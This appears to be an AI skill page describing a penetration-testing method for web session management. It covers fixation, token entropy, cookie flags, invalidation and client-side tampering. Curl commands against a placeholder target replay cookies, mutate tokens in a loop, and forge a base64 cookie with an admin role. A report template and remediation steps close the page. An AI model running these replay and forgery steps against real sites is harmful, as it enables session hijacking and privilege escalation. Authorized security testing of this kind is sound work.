Identifying and exploiting weaknesses in session handling including fixation, weak token entropy, missing cookie flags, improper invalidation on logout/password change, and client-side session tampering.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Identifying and exploiting weaknesses in session handling including fixation, weak token entropy, missing cookie flags, improper invalidation on logout/password change, and client-side session tampering.
Two test accounts: User A (attacker) and User B (victim), ideally on two browsers/profiles
Two network egress points: e.g. home IP + VPN/cloud box, to test IP-bound sessions and replay
curl / httpie: For manual cookie crafting and replay outside the browser
Browser DevTools: Application > Storage to inspect cookies, flags, and expiry
Critical: Checks Most Often Missed
Session bugs are missed when testers only confirm "login works." For every
session, work through this checklist:
Find the REAL session cookie first: apps set many cookies (analytics, CSRF,
consent). Delete cookies one at a time and re-request a protected page — the one
whose removal logs you out is the session cookie. Test only that one for the
flaws below.
No invalidation on security events (the highest-signal miss): capture a
valid cookie, then in another session perform logout, password change,
email change, or 2FA activation. Replay the OLD cookie afterwards. If it
still works, sessions are not revoked — critical for stolen-session scenarios.
Session fixation: record the cookie value BEFORE authenticating, log in,
then compare. If the session identifier does NOT change on privilege elevation,
a pre-set cookie survives login and can be fixed onto a victim.
Replay from a different IP / machine / User-Agent: paste the cookie into a
request from a second egress IP. If it is accepted with no re-auth or alert, the
session is not bound to client context.
Concurrent logins: log in as the same user from two machines simultaneously.
Both staying valid with no notification is often in-scope for sensitive apps.
Client-side session data: base64/JSON-decode the cookie. If it contains
user=, role=, email=, isAdmin= etc., tamper with another user's value and
replay — server may trust the cookie blindly.
Token entropy: flip ONE bit/byte at a time across the token and replay to
find which segment is actually validated; a short validated segment = brute
forceable. Run Burp Sequencer on 5,000+ tokens for true randomness.
Missing cookie hardening: check every session cookie for HttpOnly,
Secure, SameSite, an over-broad Domain, and an excessive/Max-Age=∞ expiry.
Token leakage to third parties: look for the session value in the URL, in
Referer headers sent to external hosts, or in analytics/error beacons.
Workflow
Step 1: Identify the Real Session Cookie Among Many
Enumerate all cookies and determine which one actually maintains the session.
# Capture the full Set-Cookie set right after login
curl -s -i -X POST "https://target.example.com/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "username=userA&password=Passw0rd!" | grep -i '^set-cookie:'# Typical output — only ONE of these is the session:# Set-Cookie: SESSIONID=8f2a...; Path=/; HttpOnly# Set-Cookie: _ga=GA1.2.123; Path=/# Set-Cookie: csrftoken=abc; Path=/# Set-Cookie: cookieconsent=1; Path=/# Isolate the session cookie: remove one at a time and hit a protected page.
SESSION="SESSIONID=8f2a9c...; csrftoken=abc; _ga=GA1.2.123"# Drop _ga -> still authenticated? (expected yes)
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=8f2a9c...; csrftoken=abc" \
"https://target.example.com/account"# Drop SESSIONID -> logged out / 302 to /login => SESSIONID is the session cookie
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: csrftoken=abc; _ga=GA1.2.123" \
"https://target.example.com/account"
Step 2: Audit Cookie Security Flags, Scope, and Expiry
Inspect HttpOnly / Secure / SameSite, the Domain scope, and lifetime.
# Pull just the session Set-Cookie line and eyeball the attributes
curl -s -i -X POST "https://target.example.com/login" \
--data "username=userA&password=Passw0rd!" \
| grep -i 'set-cookie:.*SESSIONID'# Findings to flag:# - Missing HttpOnly -> readable via document.cookie (XSS can steal it)# - Missing Secure -> sent over plain HTTP, sniffable# - SameSite=None (no Secure) or absent -> CSRF / cross-site send# - Domain=.example.com -> shared with every subdomain (broad theft surface)# - Expires far future / Max-Age huge / no expiry -> long-lived stolen sessions# Confirm the cookie is actually sent over cleartext HTTP (Secure missing)
curl -s -i "http://target.example.com/account" \
-H "Cookie: SESSIONID=8f2a9c..." | head -n1
# 200 over http:// with private data = Secure flag missing / not enforced# Confirm HttpOnly from the browser console (should be inaccessible):# document.cookie // session value must NOT appear here
Step 3: Test Session Fixation (Pre/Post-Auth Comparison)
Verify the session identifier rotates on authentication.
# 1) Get a pre-auth (anonymous) session cookie by visiting the login page
curl -s -i "https://target.example.com/login" | grep -i 'set-cookie:.*SESSIONID'# -> SESSIONID=PRE_AUTH_VALUE_1111# 2) Authenticate USING that same cookie (simulate a planted/fixed value)
curl -s -i -X POST "https://target.example.com/login" \
-H "Cookie: SESSIONID=PRE_AUTH_VALUE_1111" \
--data "username=userA&password=Passw0rd!" \
| grep -i 'set-cookie:.*SESSIONID'# 3) Compare:# - New value issued after login => SAFE (rotation happens)# - SESSIONID still = PRE_AUTH_VALUE_1111 => SESSION FIXATION# An attacker who plants PRE_AUTH_VALUE_1111 on a victim (via link/XSS)# gains the victim's authenticated session after they log in.# Confirm exploitability: replay the pre-auth value AFTER victim login
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=PRE_AUTH_VALUE_1111" \
"https://target.example.com/account"# 200 with victim data = confirmed
Step 4: Test Token Entropy by Bit/Byte Mutation
Find which part of the token is actually validated and measure randomness.
# Original token
TOK="A1B2C3D4E5F6G7H8I9J0"# Mutate one character/byte at a time and replay; record which positions# break the session vs. which are ignored (ignored = not part of secret).for i in $(seq 0 $((${#TOK}-1))); do
mutated="${TOK:0:$i}X${TOK:$((i+1))}"
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: SESSIONID=$mutated" \
"https://target.example.com/account")
echo"pos $i -> $code"done# If only positions 0-7 affect validity, the effective secret is 8 chars# -> dramatically smaller keyspace, possibly brute forceable.# Measure true randomness across many freshly issued tokens with Burp Sequencer:# Burp > send a login response to Sequencer > "Live capture" 5000+ tokens# > Analyze. Look for low effective entropy bits, structure, timestamps,# or incrementing counters embedded in the token.
Step 5: Test Invalidation on Logout, Password/Email Change, and 2FA
# Capture a known-good cookie for User A
COOKIE="SESSIONID=8f2a9c..."# --- Logout test ---# In a SECOND session/browser, click Logout for User A. Then replay COOKIE:
curl -s -o /dev/null -w "after-logout: %{http_code}\n" \
-H "Cookie: $COOKIE""https://target.example.com/account"# 200 = session NOT invalidated on logout (server only cleared client cookie)# --- Password change test ---# Change User A's password in another session, then replay the OLD cookie:
curl -s -o /dev/null -w "after-pw-change: %{http_code}\n" \
-H "Cookie: $COOKIE""https://target.example.com/account"# 200 = old sessions survive password reset (critical for compromised creds)# --- Email change & 2FA activation tests (same pattern) ---
curl -s -o /dev/null -w "after-email-change: %{http_code}\n" \
-H "Cookie: $COOKIE""https://target.example.com/account"
curl -s -o /dev/null -w "after-2fa-enable: %{http_code}\n" \
-H "Cookie: $COOKIE""https://target.example.com/account"# Any 200 after these events = stale session remains usable.
Step 6: Test Concurrent / Cross-IP Replay and Client-Side Session Data
Check binding to client context and whether the cookie carries trusted data.
# --- Concurrent login ---# Log in as User A from machine 1 and machine 2 at the same time.# Both sessions valid + no notification = no concurrent-session control.# --- Replay from a different IP / User-Agent ---# Take a cookie issued from IP1 and replay it from IP2 (VPN/cloud box):
curl -s -o /dev/null -w "%{http_code}\n" \
-A "Mozilla/5.0 (different-UA)" \
-H "Cookie: SESSIONID=8f2a9c..." \
"https://target.example.com/account"# 200 from a new IP/UA with no step-up = session not bound to context.# --- Client-side session data tampering ---# Decode a stateless/looking cookie:echo"eyJ1c2VyIjoidXNlckEiLCJyb2xlIjoidXNlciJ9" | base64 -d
# -> {"user":"userA","role":"user"}# Re-encode another user / elevated role and replay:
NEW=$(echo -n '{"user":"admin","role":"admin"}' | base64)
curl -s -H "Cookie: session=$NEW""https://target.example.com/account" | head# Accepted with admin context = server trusts unsigned client-side session data.# --- Token leakage to third parties ---# Look for the session value in URLs and Referer to external hosts:# - grep Burp history for the token in query strings# - load a page with an external <img>/<script> and check the outbound# Referer header carries ?sessionid=... to a third-party domain.
Key Concepts
Concept
Description
Session Fixation
Identifier set before login is not rotated, letting an attacker fix a known value onto a victim
Token Entropy
Amount of unpredictability in a session token; low entropy enables guessing/brute force
HttpOnly
Cookie flag preventing JavaScript (document.cookie) access, mitigating XSS-based theft
Secure
Cookie flag restricting transmission to HTTPS only, preventing cleartext sniffing
SameSite
Cookie flag (Strict/Lax/None) controlling cross-site sending; defends against CSRF
Cookie Scope
Domain/Path attributes; an over-broad Domain=.example.com shares the cookie with all subdomains
Session Invalidation
Server-side destruction of a session on logout or credential/security changes
Stateless Session
Session data stored client-side (cookie/JWT); must be signed or it can be tampered
Concurrent Session Control
Policy limiting or alerting on simultaneous active sessions for one account
Tools & Systems
Tool
Purpose
Burp Suite Professional
Proxy to capture cookies, Repeater to replay, Sequencer to measure token randomness
Burp Sequencer
Statistical analysis of token entropy across thousands of samples
EditThisCookie / browser DevTools
Inspect and edit cookies, view flags, domain scope, and expiry
curl / httpie
Manual cookie crafting, cross-IP replay, and flag verification
jwt_tool
Decode and tamper with JWT-based session tokens when used as sessions
OWASP ZAP
Free proxy alternative with session management testing add-ons
Common Scenarios
Scenario 1: Session Survives Password Reset
After a user changes their password (often because they suspect compromise), the application generates a new session but leaves all previously issued sessions active. An attacker with a stolen cookie retains access indefinitely.
Scenario 2: Pre-Auth Cookie Fixation
The login flow reuses the anonymous SESSIONID issued on the login page instead of rotating it. An attacker plants a known SESSIONID on a victim via a crafted link; once the victim logs in, the attacker's pre-known value is now authenticated.
Scenario 3: Trusted Client-Side Role Cookie
A session cookie is base64-encoded JSON {"user":"bob","role":"user"} with no signature. Editing role to admin and replaying grants administrative access because the server trusts the cookie contents.
Scenario 4: Missing HttpOnly Enables Cookie Theft
The session cookie lacks HttpOnly, so a reflected XSS payload reads document.cookie and exfiltrates the session, allowing full account takeover without credentials.
Output Format
## Session Management Finding
**Vulnerability**: Session Not Invalidated on Password Change
**Severity**: High (CVSS 8.1)
**Location**: POST /account/change-password and session store
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Log in as User A and capture session cookie SESSIONID=8f2a9c...
2. In a second browser, change User A's password
3. Replay the original SESSIONID against GET /account
4. Observe HTTP 200 with full account access using the pre-change cookie
### Affected Behaviors
| Event | Old Session After Event | Expected |
|-------|-------------------------|----------|
| Logout | Still valid (200) | Invalidated |
| Password change | Still valid (200) | All sessions revoked |
| Email change | Still valid (200) | All sessions revoked |
| 2FA activation | Still valid (200) | Re-authentication required |
### Cookie Hardening Gaps
| Flag/Attribute | Observed | Risk |
|----------------|----------|------|
| HttpOnly | Missing | XSS cookie theft |
| Secure | Missing | Cleartext interception |
| SameSite | Absent | CSRF / cross-site send |
| Domain | .example.com | Shared across all subdomains |
### Impact
- Stolen or leaked sessions remain valid after the victim takes remediation steps
- Account takeover persists through password reset, defeating incident response
- Token entropy reduced to effective 8 characters, enabling offline guessing
### Recommendation
1. Rotate the session identifier on every authentication and privilege change
2. Destroy all server-side sessions on logout, password change, email change, and 2FA enrollment
3. Set HttpOnly, Secure, and SameSite=Lax/Strict on the session cookie; scope Domain tightly
4. Generate session tokens from a CSPRNG with >=128 bits of entropy
5. Bind sessions to client context and enforce concurrent-session limits with alerting
